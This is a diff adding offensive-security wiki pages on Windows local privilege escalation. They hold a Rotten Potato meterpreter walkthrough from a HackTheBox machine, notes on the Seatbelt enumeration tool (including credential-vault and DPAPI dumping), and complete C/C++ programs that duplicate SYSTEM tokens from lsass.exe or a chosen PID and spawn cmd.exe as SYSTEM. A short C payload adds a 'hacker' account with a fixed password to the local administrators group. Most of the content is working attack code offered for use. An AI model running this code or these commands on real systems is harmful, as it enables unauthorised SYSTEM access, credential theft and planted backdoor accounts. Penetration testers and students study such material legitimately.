+The info in this page info was extracted [from this post](https://www.absolomb.com/2018-05-04-HackTheBox-Tally/)
+
+Service accounts usually have special privileges \(SeImpersonatePrivileges\) and this could be used to escalate privileges.
+
+[https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)
+
+I won’t go into the details on how this exploit works, the article above explains it far better than I ever could.
+
+Let’s check our privileges with meterpreter:
+
+```text
+meterpreter > getprivs
+
+Enabled Process Privileges
+==========================
+
+Name
+----
+SeAssignPrimaryTokenPrivilege
+SeChangeNotifyPrivilege
+SeCreateGlobalPrivilege
+SeImpersonatePrivilege
+SeIncreaseQuotaPrivilege
+SeIncreaseWorkingSetPrivilege
+```
+
+Excellent, it looks like we have the privileges we need to perform the attack. Let’s upload `rottenpotato.exe`
+
+Back on our meterpreter session we load the `incognito` extension.
+
+```text
+meterpreter > use incognito
+Loading extension incognito...Success.
+meterpreter > list_tokens -u
+[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
+             Call rev2self if primary process token is SYSTEM
+
+Delegation Tokens Available
+========================================
+NT SERVICE\SQLSERVERAGENT
+NT SERVICE\SQLTELEMETRY
+TALLY\Sarah
+
+Impersonation Tokens Available
+========================================
+No tokens available
+```
+
+We can see we currently have no Impersonation Tokens. Let’s run the Rotten Potato exploit.
+
+```text
+meterpreter > execute -f rottenpotato.exe -Hc
+Process 3104 created.
+Channel 2 created.
+meterpreter > list_tokens -u
+[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
+             Call rev2self if primary process token is SYSTEM
+
+Delegation Tokens Available
+========================================
+NT SERVICE\SQLSERVERAGENT
+NT SERVICE\SQLTELEMETRY
+TALLY\Sarah
+
+Impersonation Tokens Available
+========================================
+NT AUTHORITY\SYSTEM
+```
+
+We need to quickly impersonate the token or it will disappear.
+
+```text
+meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
+[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
+             Call rev2self if primary process token is SYSTEM
+[-] No delegation token available
+[+] Successfully impersonated user NT AUTHORITY\SYSTEM
+meterpreter > getuid
+Server username: NT AUTHORITY\SYSTEM
+```
+
+Success! We have our SYSTEM shell and can grab the root.txt file!
+
diff --git a/windows/windows-local-privilege-escalation/seatbelt.md b/windows/windows-local-privilege-escalation/seatbelt.md
new file mode 100644
index 00000000000..abcd6c7c359
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/seatbelt.md
@@ -0,0 +1,89 @@
+# Seatbelt
+
+
+
+## Start
+
+[You need to compile it](https://github.com/GhostPack/Seatbelt) or [use precompiled binaries \(by me\)](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)
+
+```text
+SeatbeltNet3.5x64.exe all
+SeatbeltNet3.5x64.exe all full #Without filtering
+```
+
+I really like the performed filtering.
+
+## Check
+
+This tool is more gathering-info oriented than privesc, but it has some pretty nice checks and looks for some passwords.
+
+**SeatBelt.exe system** collects the following system data:
+
+```text
+BasicOSInfo           -   Basic OS info (i.e. architecture, OS version, etc.)
+RebootSchedule        -   Reboot schedule (last 15 days) based on event IDs 12 and 13
+TokenGroupPrivs       -   Current process/token privileges (e.g. SeDebugPrivilege/etc.)
+UACSystemPolicies     -   UAC system policies via the registry
+PowerShellSettings    -   PowerShell versions and security settings
+AuditSettings         -   Audit settings via the registry
+WEFSettings           -   Windows Event Forwarding (WEF) settings via the registry
+LSASettings           -   LSA settings (including auth packages)
+UserEnvVariables      -   Current user environment variables
+SystemEnvVariables    -   Current system environment variables
+UserFolders           -   Folders in C:\Users\
+NonstandardServices   -   Services with file info company names that don't contain 'Microsoft'
+InternetSettings      -   Internet settings including proxy configs
+LapsSettings          -   LAPS settings, if installed
+LocalGroupMembers     -   Members of local admins, RDP, and DCOM
+MappedDrives          -   Mapped drives
+RDPSessions           -   Current incoming RDP sessions
+WMIMappedDrives       -   Mapped drives via WMI
+NetworkShares         -   Network shares
+FirewallRules         -   Deny firewall rules, "full" dumps all
+AntiVirusWMI          -   Registered antivirus (via WMI)
+InterestingProcesses  -   "Interesting" processes- defensive products and admin tools
+RegistryAutoRuns      -   Registry autoruns
+RegistryAutoLogon     -   Registry autologon information
+DNSCache              -   DNS cache entries (via WMI)
+ARPTable              -   Lists the current ARP table and adapter information (equivalent to arp -a)
+AllTcpConnections     -   Lists current TCP connections and associated processes
+AllUdpConnections     -   Lists current UDP connections and associated processes
+NonstandardProcesses  -   Running processeswith file info company names that don't contain 'Microsoft'
+  *  If the user is in high integrity, the following additional actions are run:
+SysmonConfig          -   Sysmon configuration from the registry
+```
+
+**SeatBelt.exe user** collects the following user data:
+
+```text
+SavedRDPConnections   -   Saved RDP connections
+TriageIE              -   Internet Explorer bookmarks and history (last 7 days)
+DumpVault             -   Dump saved credentials in Windows Vault (i.e. logins from Internet Explorer and Edge), from SharpWeb
+RecentRunCommands     -   Recent "run" commands
+PuttySessions         -   Interesting settings from any saved Putty configurations
+PuttySSHHostKeys      -   Saved putty SSH host keys
+CloudCreds            -   AWS/Google/Azure cloud credential files (SharpCloud)
+RecentFiles           -   Parsed "recent files" shortcuts (last 7 days)
+MasterKeys            -   List DPAPI master keys
+CredFiles             -   List Windows credential DPAPI blobs
+RDCManFiles           -   List Windows Remote Desktop Connection Manager settings files
+  *  If the user is in high integrity, this data is collected for ALL users instead of just the current user
+```
+
+Non-default collection options:
+
+```text
+CurrentDomainGroups   -   The current user's local and domain groups
+Patches               -   Installed patches via WMI (takes a bit on some systems)
+LogonSessions         -   User logon session data
+KerberosTGTData       -   ALL TEH TGTZ!
+InterestingFiles      -   "Interesting" files matching various patterns in the user's folder
+IETabs                -   Open Internet Explorer tabs
+TriageChrome          -   Chrome bookmarks and history
+TriageFirefox         -   Firefox history (no bookmarks)
+RecycleBin            -   Items in the Recycle Bin deleted in the last 30 days - only works from a user context!
+4624Events            -   4624 logon events from the security event log
+4648Events            -   4648 explicit logon events from the security event log
+KerberosTickets       -   List Kerberos tickets. If elevated, grouped by all logon sessions.
+```
+
diff --git a/windows/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md b/windows/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
new file mode 100644
index 00000000000..3de9b24ac2a
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
@@ -0,0 +1,215 @@
+# SeDebug + SeImpersonate copy token
+
+The following code **exploits the privileges SeDebug and SeImpersonate** to copy the token from a **process running as SYSTEM** and with **all the token privileges**.   
+In this case, this code can be compiled and used as a **Windows service binary** to check that it's working.  
+However, the main part of the **code where the elevation occurs** is inside the **`Exploit`** **function**.  
+Inside of that function you can see that the **process** _**lsass.exe**_ **is searched**, then it's **token is copied**, and finally that **token is used to spawn a new** _**cmd.exe**_ **with all the privileges of the copied token**.
+
+**Other processes** running as SYSTEM with all or most of the token privileges are: _**services.exe**_**,** _**svhost.exe**_ \(on of the firsts ones\), _**wininit.exe**_**,** _**csrss.exe**_... \(_remember that you won't be able to copy a token from a Protected process_\). Moreover, you can use the tool [Process Hacker](https://processhacker.sourceforge.io/downloads.php) running as administrator to see the tokens of a process.
+
+```c
+#include <windows.h>
+#include <tlhelp32.h>
+#include <tchar.h>
+#pragma comment (lib, "advapi32")
+
+TCHAR* serviceName = TEXT("TokenDanceSrv");
+SERVICE_STATUS serviceStatus;
+SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
+HANDLE stopServiceEvent = 0;
+
+//This function will find the pid of a process by name
+int FindTarget(const char *procname) {
+
+	HANDLE hProcSnap;
+	PROCESSENTRY32 pe32;
+	int pid = 0;
+			
+	hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+	if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
+			
+	pe32.dwSize = sizeof(PROCESSENTRY32); 
+			
+	if (!Process32First(hProcSnap, &pe32)) {
+			CloseHandle(hProcSnap);
+			return 0;
+	}
+			
+	while (Process32Next(hProcSnap, &pe32)) {
+			if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
+					pid = pe32.th32ProcessID;
+					break;
+			}
+	}
+			
+	CloseHandle(hProcSnap);
+			
+	return pid;
+}
+
+
+int Exploit(void) {
+	
+    HANDLE hSystemToken, hSystemProcess;
+	HANDLE dupSystemToken = NULL;
+    HANDLE hProcess, hThread;
+    STARTUPINFOA si;
+    PROCESS_INFORMATION pi;
+	int pid = 0;
+
+
+    ZeroMemory(&si, sizeof(si));
+    si.cb = sizeof(si);
+    ZeroMemory(&pi, sizeof(pi));
+
+	// open high privileged process
+	if ( pid = FindTarget("lsass.exe") ) 
+		hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
+	else
+		return -1;
+	
+	// extract high privileged token
+    if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
+        CloseHandle(hSystemProcess);
+        return -1;
+    }
+	
+	// make a copy of a token
+	DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);	
+
+	// and spawn a new process with higher privs
+    CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe", 
+						NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
+
+    return 0;
+}
+
+
+void WINAPI ServiceControlHandler( DWORD controlCode ) {
+	switch ( controlCode ) {
+		case SERVICE_CONTROL_SHUTDOWN:
+		case SERVICE_CONTROL_STOP:
+			serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
+			SetServiceStatus( serviceStatusHandle, &serviceStatus );
+
+			SetEvent( stopServiceEvent );
+			return;
+
+		case SERVICE_CONTROL_PAUSE:
+			break;
+
+		case SERVICE_CONTROL_CONTINUE:
+			break;
+
+		case SERVICE_CONTROL_INTERROGATE:
+			break;
+
+		default:
+			break;
+	}
+	SetServiceStatus( serviceStatusHandle, &serviceStatus );
+}
+
+void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
+	// initialise service status
+	serviceStatus.dwServiceType = SERVICE_WIN32;
+	serviceStatus.dwCurrentState = SERVICE_STOPPED;
+	serviceStatus.dwControlsAccepted = 0;
+	serviceStatus.dwWin32ExitCode = NO_ERROR;
+	serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
+	serviceStatus.dwCheckPoint = 0;
+	serviceStatus.dwWaitHint = 0;
+
+	serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
+
+	if ( serviceStatusHandle ) {
+		// service is starting
+		serviceStatus.dwCurrentState = SERVICE_START_PENDING;
+		SetServiceStatus( serviceStatusHandle, &serviceStatus );
+
+		// do initialisation here
+		stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
+
+		// running
+		serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
+		serviceStatus.dwCurrentState = SERVICE_RUNNING;
+		SetServiceStatus( serviceStatusHandle, &serviceStatus );
+
+		Exploit();
+		WaitForSingleObject( stopServiceEvent, -1 );
+
+		// service was stopped
+		serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
+		SetServiceStatus( serviceStatusHandle, &serviceStatus );
+
+		// do cleanup here
+		CloseHandle( stopServiceEvent );
+		stopServiceEvent = 0;
+
+		// service is now stopped
+		serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
+		serviceStatus.dwCurrentState = SERVICE_STOPPED;
+		SetServiceStatus( serviceStatusHandle, &serviceStatus );
+	}
+}
+
+
+void InstallService() {
+	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
+
+	if ( serviceControlManager ) {
+		TCHAR path[ _MAX_PATH + 1 ];
+		if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
+			SC_HANDLE service = CreateService( serviceControlManager,
+							serviceName, serviceName,
+							SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
+							SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
+							0, 0, 0, 0, 0 );
+			if ( service )
+				CloseServiceHandle( service );
+		}
+		CloseServiceHandle( serviceControlManager );
+	}
+}
+
+void UninstallService() {
+	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
+
+	if ( serviceControlManager ) {
+		SC_HANDLE service = OpenService( serviceControlManager,
+			serviceName, SERVICE_QUERY_STATUS | DELETE );
+		if ( service ) {
+			SERVICE_STATUS serviceStatus;
+			if ( QueryServiceStatus( service, &serviceStatus ) ) {
+				if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
+					DeleteService( service );
+			}
+			CloseServiceHandle( service );
+		}
+		CloseServiceHandle( serviceControlManager );
+	}
+}
+
+int _tmain( int argc, TCHAR* argv[] )
+{
+	if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
+		InstallService();
+	}
+	else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
+		UninstallService();
+	}
+	else  {
+		SERVICE_TABLE_ENTRY serviceTable[] = {
+			{ serviceName, ServiceMain },
+			{ 0, 0 }
+		};
+	
+		StartServiceCtrlDispatcher( serviceTable );
+	}	
+
+	return 0;
+}
+```
+
+**The code of this example was shared by an anonymous person.**
+
diff --git a/windows/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md b/windows/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
new file mode 100644
index 00000000000..e55a985347e
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
@@ -0,0 +1,179 @@
+# SeImpersonate from High To System
+
+### Code
+
+The following code was copied from [here](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). It allows to **indicate a Process ID as argument** and a CMD **running as the user** of the indicated process will be run.  
+Running in a High Integrity process you can **indicate the PID of a process running as System** \(like winlogon, wininit\) and execute a cmd.exe as system.
+
+```cpp
+impersonateuser.exe 1234
+```
+
+{% code title="impersonateuser.cpp" %}
+```cpp
+#include <windows.h>
+#include <iostream>
+#include <Lmcons.h>
+BOOL SetPrivilege(
+	HANDLE hToken,          // access token handle
+	LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
+	BOOL bEnablePrivilege   // to enable or disable privilege
+)
+{
+	TOKEN_PRIVILEGES tp;
+	LUID luid;
+	if (!LookupPrivilegeValue(
+		NULL,            // lookup privilege on local system
+		lpszPrivilege,   // privilege to lookup
+		&luid))        // receives LUID of privilege
+	{
+		printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
+		return FALSE;
+	}
+	tp.PrivilegeCount = 1;
+	tp.Privileges[0].Luid = luid;
+	if (bEnablePrivilege)
+		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+	else
+		tp.Privileges[0].Attributes = 0;
+	// Enable the privilege or disable all privileges.
+	if (!AdjustTokenPrivileges(
+		hToken,
+		FALSE,
+		&tp,
+		sizeof(TOKEN_PRIVILEGES),
+		(PTOKEN_PRIVILEGES)NULL,
+		(PDWORD)NULL))
+	{
+		printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
+		return FALSE;
+	}
+	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
+	{
+		printf("[-] The token does not have the specified privilege. \n");
+		return FALSE;
+	}
+	return TRUE;
+}
+std::string get_username()
+{
+	TCHAR username[UNLEN + 1];
+	DWORD username_len = UNLEN + 1;
+	GetUserName(username, &username_len);
+	std::wstring username_w(username);
+	std::string username_s(username_w.begin(), username_w.end());
+	return username_s;
+}
+int main(int argc, char** argv) {
+	// Print whoami to compare to thread later
+	printf("[+] Current user is: %s\n", (get_username()).c_str());
+	// Grab PID from command line argument
+	char* pid_c = argv[1];
+	DWORD PID_TO_IMPERSONATE = atoi(pid_c);
+	// Initialize variables and structures
+	HANDLE tokenHandle = NULL;
+	HANDLE duplicateTokenHandle = NULL;
+	STARTUPINFO startupInfo;
+	PROCESS_INFORMATION processInformation;
+	ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
+	ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
+	startupInfo.cb = sizeof(STARTUPINFO);
+	// Add SE debug privilege
+	HANDLE currentTokenHandle = NULL;
+	BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
+	if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
+	{
+		printf("[+] SeDebugPrivilege enabled!\n");
+	}
+	// Call OpenProcess(), print return code and error code
+	HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
+	if (GetLastError() == NULL)
+		printf("[+] OpenProcess() success!\n");
+	else
+	{
+		printf("[-] OpenProcess() Return Code: %i\n", processHandle);
+		printf("[-] OpenProcess() Error: %i\n", GetLastError());
+	}
+	// Call OpenProcessToken(), print return code and error code
+	BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
+	if (GetLastError() == NULL)
+		printf("[+] OpenProcessToken() success!\n");
+	else
+	{
+		printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
+		printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
+	}
+	// Impersonate user in a thread
+	BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
+	if (GetLastError() == NULL)
+	{
+		printf("[+] ImpersonatedLoggedOnUser() success!\n");
+		printf("[+] Current user is: %s\n", (get_username()).c_str());
+		printf("[+] Reverting thread to original user context\n");
+		RevertToSelf();
+	}
+	else
+	{
+		printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
+		printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
+	}
+	// Call DuplicateTokenEx(), print return code and error code
+	BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
+	if (GetLastError() == NULL)
+		printf("[+] DuplicateTokenEx() success!\n");
+	else
+	{
+		printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
+		printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
+	}
+	// Call CreateProcessWithTokenW(), print return code and error code
+	BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
+	if (GetLastError() == NULL)
+		printf("[+] Process spawned!\n");
+	else
+	{
+		printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
+		printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
+	}
+	return 0;
+}
+```
+{% endcode %}
+
+### Error
+
+On some occasions you may try to impersonate System and it won't work showing an output like the following:
+
+```cpp
+[+] OpenProcess() success!
+[+] OpenProcessToken() success!
+[-] ImpersonatedLoggedOnUser() Return Code: 1
+[-] ImpersonatedLoggedOnUser() Error: 5
+[-] DuplicateTokenEx() Return Code: 0
+[-] DupicateTokenEx() Error: 5
+[-] CreateProcessWithTokenW Return Code: 0
+[-] CreateProcessWithTokenW Error: 1326
+```
+
+This means that even if you are running on a High Integrity level **you don't have enough permissions**.  
+Let's check current Administrator permissions over `svchost.exe` processes with **processes explorer** \(or you can also use process hacker\):
+
+1. Select a process of `svchost.exe`
+2. Right Click --&gt; Properties
+3. Inside "Security" Tab click in the bottom right the button "Permissions"
+4. Click on "Advanced"
+5. Select "Administrators" and click on "Edit"
+6. Click on "Show advanced permissions"
+
+![](../../.gitbook/assets/image%20%28353%29.png)
+
+The previous image contains all the privileges that "Administrators" have over the selected process \(as you can see in case of `svchost.exe` they only have "Query" privileges\)
+
+See the privileges "Administrators" have over `winlogon.exe`:
+
+![](../../.gitbook/assets/image%20%28354%29.png)
+
+Inside that process "Administrators" can "Read Memory" and "Read Permissions" which probably allows Administrators to impersonate the token used by this process.
+
+
+
diff --git a/windows/windows-local-privilege-escalation/windows-c-payloads.md b/windows/windows-local-privilege-escalation/windows-c-payloads.md
new file mode 100644
index 00000000000..0e2c81ee1ba
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/windows-c-payloads.md
@@ -0,0 +1,16 @@
+# Windows C Payloads
+
+## Add user
+
+```text
+#i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
+#include <stdlib.h> /* system, NULL, EXIT_FAILURE */  
+int main ()  
+{  
+    int i;
+    system("net user hacker Hacker123! /add");
+    system("net localgroup administrators hacker /add");  
+    return 0;  
+}
+```
+